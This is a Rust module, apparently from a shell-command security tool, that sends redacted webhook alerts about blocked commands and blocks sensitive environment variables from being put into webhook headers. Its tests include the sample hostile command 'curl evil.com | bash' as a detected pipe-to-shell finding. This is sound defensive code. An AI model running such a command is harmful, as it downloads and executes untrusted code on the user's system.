1use crate::policy::WebhookConfig;
6use crate::verdict::{Severity, Verdict};
7
8pub fn dispatch(
15 verdict: &Verdict,
16 command_preview: &str,
17 webhooks: &[WebhookConfig],
18 custom_dlp_patterns: &[String],
19) {
20 if webhooks.is_empty() {
21 return;
22 }
23
24 let redacted_preview = crate::redact::redact_with_custom(command_preview, custom_dlp_patterns);
26
27 let max_severity = verdict
28 .findings
29 .iter()
30 .map(|f| f.severity)
31 .max()
32 .unwrap_or(Severity::Info);
33
34 for wh in webhooks {
35 if max_severity < wh.min_severity {
36 continue;
37 }
38
39 if let Err(reason) = crate::url_validate::validate_server_url(&wh.url) {
41 crate::audit::audit_diagnostic(format!(
42 "tirith: webhook: skipping {}: {reason}",
43 wh.url
44 ));
45 continue;
46 }
47
48 let payload = build_payload(verdict, &redacted_preview, wh);
49 let url = wh.url.clone();
50 let headers = expand_env_headers(&wh.headers);
51
52 std::thread::spawn(move || {
53 if let Err(e) = send_with_retry(&url, &payload, &headers, 3) {
54 crate::audit::audit_diagnostic(format!(
55 "tirith: webhook delivery to {url} failed: {e}"
56 ));
57 }
58 });
59 }
60}
61
62fn build_payload(verdict: &Verdict, command_preview: &str, wh: &WebhookConfig) -> String {
64 if let Some(ref template) = wh.payload_template {
65 let rule_ids: Vec<String> = verdict
66 .findings
67 .iter()
68 .map(|f| f.rule_id.to_string())
69 .collect();
70 let max_severity = verdict
71 .findings
72 .iter()
73 .map(|f| f.severity)
74 .max()
75 .unwrap_or(Severity::Info);
76
77 let result = template
78 .replace("{{rule_id}}", &sanitize_for_json(&rule_ids.join(",")))
79 .replace("{{command_preview}}", &sanitize_for_json(command_preview))
80 .replace(
81 "{{action}}",
82 &sanitize_for_json(&format!("{:?}", verdict.action)),
83 )
84 .replace(
85 "{{severity}}",
86 &sanitize_for_json(&max_severity.to_string()),
87 )
88 .replace("{{finding_count}}", &verdict.findings.len().to_string());
89 if serde_json::from_str::<serde_json::Value>(&result).is_ok() {
91 return result;
92 }
93 crate::audit::audit_diagnostic(
94 "tirith: webhook: warning: payload template produced invalid JSON, using default payload"
95 );
96 }
97
98 let rule_ids: Vec<String> = verdict
100 .findings
101 .iter()
102 .map(|f| f.rule_id.to_string())
103 .collect();
104 let max_severity = verdict
105 .findings
106 .iter()
107 .map(|f| f.severity)
108 .max()
109 .unwrap_or(Severity::Info);
110
111 serde_json::json!({
112 "event": "tirith_finding",
113 "action": format!("{:?}", verdict.action),
114 "severity": max_severity.to_string(),
115 "rule_ids": rule_ids,
116 "finding_count": verdict.findings.len(),
117 "command_preview": sanitize_for_json(command_preview),
118 })
119 .to_string()
120}
121
122fn expand_env_headers(
124 headers: &std::collections::HashMap<String, String>,
125) -> Vec<(String, String)> {
126 headers
127 .iter()
128 .map(|(k, v)| {
129 let expanded = expand_env_value(v);
130 (k.clone(), expanded)
131 })
132 .collect()
133}
134
135fn expand_env_value(input: &str) -> String {
137 let mut result = String::with_capacity(input.len());
138 let mut chars = input.chars().peekable();
139
140 while let Some(c) = chars.next() {
141 if c == '$' {
142 if chars.peek() == Some(&'{') {
143 chars.next(); let var_name: String = chars.by_ref().take_while(|&ch| ch != '}').collect();
145 if !var_name.starts_with("TIRITH_") {
146 crate::audit::audit_diagnostic(format!(
147 "tirith: webhook: env var '{var_name}' blocked (only TIRITH_* vars allowed in webhooks)"
148 ));
149 } else if is_sensitive_webhook_env_var(&var_name) {
150 crate::audit::audit_diagnostic(format!(
151 "tirith: webhook: sensitive env var '{var_name}' blocked"
152 ));
153 } else {
154 match std::env::var(&var_name) {
155 Ok(val) => result.push_str(&val),
156 Err(_) => {
157 crate::audit::audit_diagnostic(format!(
158 "tirith: webhook: warning: env var '{var_name}' is not set"
159 ));
160 }
161 }
162 }
163 } else {
164 let mut var_name = String::new();
167 while let Some(&ch) = chars.peek() {
168 if ch.is_ascii_alphanumeric() || ch == '_' {
169 var_name.push(ch);
170 chars.next();
171 } else {
172 break;
173 }
174 }
175 if !var_name.is_empty() {
176 if !var_name.starts_with("TIRITH_") {
177 crate::audit::audit_diagnostic(format!(
178 "tirith: webhook: env var '{var_name}' blocked (only TIRITH_* vars allowed in webhooks)"
179 ));
180 } else if is_sensitive_webhook_env_var(&var_name) {
181 crate::audit::audit_diagnostic(format!(
182 "tirith: webhook: sensitive env var '{var_name}' blocked"
183 ));
184 } else {
185 match std::env::var(&var_name) {
186 Ok(val) => result.push_str(&val),
187 Err(_) => {
188 crate::audit::audit_diagnostic(format!(
189 "tirith: webhook: warning: env var '{var_name}' is not set"
190 ));
191 }
192 }
193 }
194 }
195 }
196 } else {
197 result.push(c);
198 }
199 }
200
201 result
202}
203
204fn is_sensitive_webhook_env_var(var_name: &str) -> bool {
205 matches!(var_name, "TIRITH_API_KEY" | "TIRITH_LICENSE")
206}
207
208fn send_with_retry(
210 url: &str,
211 payload: &str,
212 headers: &[(String, String)],
213 max_attempts: u32,
214) -> Result<(), String> {
215 let client = reqwest::blocking::Client::builder()
216 .timeout(std::time::Duration::from_secs(10))
217 .build()
218 .map_err(|e| format!("client build: {e}"))?;
219
220 for attempt in 0..max_attempts {
221 let mut req = client
222 .post(url)
223 .header("Content-Type", "application/json")
224 .body(payload.to_string());
225
226 for (key, value) in headers {
227 req = req.header(key, value);
228 }
229
230 match req.send() {
231 Ok(resp) if resp.status().is_success() => return Ok(()),
232 Ok(resp) => {
233 let status = resp.status();
234 if status.is_client_error() {
236 return Err(format!("HTTP {status} (non-retriable client error)"));
237 }
238 if attempt + 1 < max_attempts {
239 let delay = std::time::Duration::from_millis(500 * 2u64.pow(attempt));
240 std::thread::sleep(delay);
241 } else {
242 return Err(format!("HTTP {status} after {max_attempts} attempts"));
243 }
244 }
245 Err(e) => {
246 if attempt + 1 < max_attempts {
247 let delay = std::time::Duration::from_millis(500 * 2u64.pow(attempt));
248 std::thread::sleep(delay);
249 } else {
250 return Err(format!("{e} after {max_attempts} attempts"));
251 }
252 }
253 }
254 }
255
256 Err("exhausted retries".to_string())
257}
258
259fn sanitize_for_json(input: &str) -> String {
261 let truncated: String = input.chars().take(200).collect();
262 let json_val = serde_json::Value::String(truncated);
264 let s = json_val.to_string();
266 s[1..s.len() - 1].to_string()
267}
268
269#[cfg(test)]
270mod tests {
271 use super::*;
272
273 #[test]
274 fn test_sanitize_for_json() {
275 assert_eq!(sanitize_for_json("hello"), "hello");
276 assert_eq!(sanitize_for_json("he\"lo"), r#"he\"lo"#);
277 assert_eq!(sanitize_for_json("line\nnewline"), r"line\nnewline");
278 }
279
280 #[test]
281 fn test_sanitize_for_json_truncates() {
282 let long = "x".repeat(500);
283 let result = sanitize_for_json(&long);
284 assert_eq!(result.len(), 200);
285 }
286
287 #[test]
288 fn test_expand_env_value() {
289 let _guard = crate::TEST_ENV_LOCK
290 .lock()
291 .unwrap_or_else(|e| e.into_inner());
292 unsafe { std::env::set_var("TIRITH_TEST_WH", "secret123") };
293 assert_eq!(
294 expand_env_value("Bearer $TIRITH_TEST_WH"),
295 "Bearer secret123"
296 );
297 assert_eq!(
298 expand_env_value("Bearer ${TIRITH_TEST_WH}"),
299 "Bearer secret123"
300 );
301 assert_eq!(expand_env_value("no vars"), "no vars");
302 unsafe { std::env::remove_var("TIRITH_TEST_WH") };
303 }
304
305 #[test]
306 fn test_expand_env_value_preserves_delimiter() {
307 let _guard = crate::TEST_ENV_LOCK
308 .lock()
309 .unwrap_or_else(|e| e.into_inner());
310 unsafe { std::env::set_var("TIRITH_TEST_WH2", "val") };
312 assert_eq!(expand_env_value("$TIRITH_TEST_WH2/extra"), "val/extra");
313 assert_eq!(expand_env_value("$TIRITH_TEST_WH2 rest"), "val rest");
314 unsafe { std::env::remove_var("TIRITH_TEST_WH2") };
315 }
316
317 #[test]
318 fn test_expand_env_value_blocks_sensitive_vars() {
319 let _guard = crate::TEST_ENV_LOCK
320 .lock()
321 .unwrap_or_else(|e| e.into_inner());
322 unsafe {
323 std::env::set_var("TIRITH_API_KEY", "secret-api-key");
324 std::env::set_var("TIRITH_LICENSE", "secret-license");
325 }
326 assert_eq!(expand_env_value("Bearer $TIRITH_API_KEY"), "Bearer ");
327 assert_eq!(expand_env_value("${TIRITH_LICENSE}"), "");
328 unsafe {
329 std::env::remove_var("TIRITH_API_KEY");
330 std::env::remove_var("TIRITH_LICENSE");
331 }
332 }
333
334 #[test]
337 fn test_bypass_sensitive_var_both_forms() {
338 let _guard = crate::TEST_ENV_LOCK
339 .lock()
340 .unwrap_or_else(|e| e.into_inner());
341 unsafe {
342 std::env::set_var("TIRITH_API_KEY", "leaked");
343 std::env::set_var("TIRITH_LICENSE", "leaked");
344 }
345 assert!(!expand_env_value("$TIRITH_API_KEY").contains("leaked"));
347 assert!(!expand_env_value("$TIRITH_LICENSE").contains("leaked"));
348 assert!(!expand_env_value("${TIRITH_API_KEY}").contains("leaked"));
350 assert!(!expand_env_value("${TIRITH_LICENSE}").contains("leaked"));
351 assert!(!expand_env_value("Bearer ${TIRITH_API_KEY}").contains("leaked"));
353 assert!(!expand_env_value("token=$TIRITH_API_KEY&extra").contains("leaked"));
354 unsafe {
355 std::env::remove_var("TIRITH_API_KEY");
356 std::env::remove_var("TIRITH_LICENSE");
357 }
358 }
359
360 #[test]
361 fn test_bypass_case_variation_is_different_var() {
362 let _guard = crate::TEST_ENV_LOCK
363 .lock()
364 .unwrap_or_else(|e| e.into_inner());
365 unsafe { std::env::set_var("TIRITH_api_key", "not-sensitive") };
369 assert_eq!(
370 expand_env_value("$TIRITH_api_key"),
371 "not-sensitive",
372 "Case-different var name should expand (it's a different var)"
373 );
374 unsafe { std::env::remove_var("TIRITH_api_key") };
375 }
376
377 #[test]
378 fn test_bypass_non_sensitive_tirith_var_still_expands() {
379 let _guard = crate::TEST_ENV_LOCK
380 .lock()
381 .unwrap_or_else(|e| e.into_inner());
382 unsafe { std::env::set_var("TIRITH_ORG_NAME", "myorg") };
383 assert_eq!(expand_env_value("$TIRITH_ORG_NAME"), "myorg");
384 assert_eq!(expand_env_value("${TIRITH_ORG_NAME}"), "myorg");
385 unsafe { std::env::remove_var("TIRITH_ORG_NAME") };
386 }
387
388 #[test]
389 fn test_bypass_double_dollar_does_not_expand() {
390 let _guard = crate::TEST_ENV_LOCK
391 .lock()
392 .unwrap_or_else(|e| e.into_inner());
393 unsafe { std::env::set_var("TIRITH_API_KEY", "leaked") };
394 let result = expand_env_value("$$TIRITH_API_KEY");
398 assert!(
399 !result.contains("leaked"),
400 "Double-dollar must not leak: got {result}"
401 );
402 unsafe { std::env::remove_var("TIRITH_API_KEY") };
403 }
404
405 #[test]
406 fn test_bypass_nested_braces_does_not_expand() {
407 let _guard = crate::TEST_ENV_LOCK
408 .lock()
409 .unwrap_or_else(|e| e.into_inner());
410 unsafe { std::env::set_var("TIRITH_API_KEY", "leaked") };
411 let result = expand_env_value("${TIRITH_${NESTED}}");
415 assert!(
416 !result.contains("leaked"),
417 "Nested braces must not leak: got {result}"
418 );
419 unsafe { std::env::remove_var("TIRITH_API_KEY") };
420 }
421
422 #[test]
423 fn test_build_default_payload() {
424 use crate::verdict::{Action, Finding, RuleId, Timings};
425
426 let verdict = Verdict {
427 action: Action::Block,
428 findings: vec![Finding {
429 rule_id: RuleId::CurlPipeShell,
430 severity: Severity::High,
431 title: "test".into(),
432 description: "test desc".into(),
433 evidence: vec![],
434 human_view: None,
435 agent_view: None,
436 mitre_id: None,
437 custom_rule_id: None,
438 }],
439 tier_reached: 3,
440 bypass_requested: false,
441 bypass_honored: false,
442 bypass_available: false,
443 interactive_detected: false,
444 policy_path_used: None,
445 timings_ms: Timings::default(),
446 urls_extracted_count: None,
447 requires_approval: None,
448 approval_timeout_secs: None,
449 approval_fallback: None,
450 approval_rule: None,
451 approval_description: None,
452 escalation_reason: None,
453 };
454
455 let wh = WebhookConfig {
456 url: "https://example.com/webhook".into(),
457 min_severity: Severity::High,
458 headers: std::collections::HashMap::new(),
459 payload_template: None,
460 };
461
462 let payload = build_payload(&verdict, "curl evil.com | bash", &wh);
463 let parsed: serde_json::Value = serde_json::from_str(&payload).unwrap();
464 assert_eq!(parsed["event"], "tirith_finding");
465 assert_eq!(parsed["finding_count"], 1);
466 assert_eq!(parsed["rule_ids"][0], "curl_pipe_shell");
467 }
468
469 #[test]
470 fn test_build_template_payload() {
471 use crate::verdict::{Action, Finding, RuleId, Timings};
472
473 let verdict = Verdict {
474 action: Action::Block,
475 findings: vec![Finding {
476 rule_id: RuleId::CurlPipeShell,
477 severity: Severity::High,
478 title: "test".into(),
479 description: "test desc".into(),
480 evidence: vec![],
481 human_view: None,
482 agent_view: None,
483 mitre_id: None,
484 custom_rule_id: None,
485 }],
486 tier_reached: 3,
487 bypass_requested: false,
488 bypass_honored: false,
489 bypass_available: false,
490 interactive_detected: false,
491 policy_path_used: None,
492 timings_ms: Timings::default(),
493 urls_extracted_count: None,
494 requires_approval: None,
495 approval_timeout_secs: None,
496 approval_fallback: None,
497 approval_rule: None,
498 approval_description: None,
499 escalation_reason: None,
500 };
501
502 let wh = WebhookConfig {
503 url: "https://example.com/webhook".into(),
504 min_severity: Severity::High,
505 headers: std::collections::HashMap::new(),
506 payload_template: Some(
507 r#"{"rule":"{{rule_id}}","cmd":"{{command_preview}}"}"#.to_string(),
508 ),
509 };
510
511 let payload = build_payload(&verdict, "curl evil.com | bash", &wh);
512 assert!(payload.contains("curl_pipe_shell"));
513 assert!(payload.contains("curl evil.com"));
514 }
515}